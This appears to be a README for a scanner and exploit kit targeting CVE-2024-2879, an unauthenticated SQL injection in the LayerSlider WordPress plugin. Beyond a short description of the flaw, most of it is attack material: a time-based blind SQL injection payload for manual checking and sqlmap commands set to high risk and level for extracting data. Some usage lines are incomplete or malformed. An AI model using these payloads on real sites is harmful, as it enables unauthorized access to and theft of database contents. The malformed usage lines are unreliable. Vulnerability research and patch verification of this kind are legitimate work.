# CVE-2024-2879

## Description
LayerSlider 7.9.11 - 7.10.0 - Unauthenticated SQL Injection

The LayerSlider plugin for WordPress is vulnerable to SQL Injection via the `ls_get_popup_markup` action in versions 7.9.11 and 7.10.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

## Scanner Usage
1. Install requirements: pip install -r requirements.txt
2. python3 <url> or <urllist.txt>

## Manual Checking if the website is not protected with WAF
`"[where]=1)and (SELECT 6416 FROM (SELECT(SLEEP(5)))nEiK)-- vqlq"`
5 seconds delay response time

## SQL Map Exploitation
`sqlmap "https:://[where]=" --risk=3 --level=4 --dbms=mysql --technique=T`
`sqlmap -r request.txt --risk=3 --level=4 --dbms=mysql --technique=T`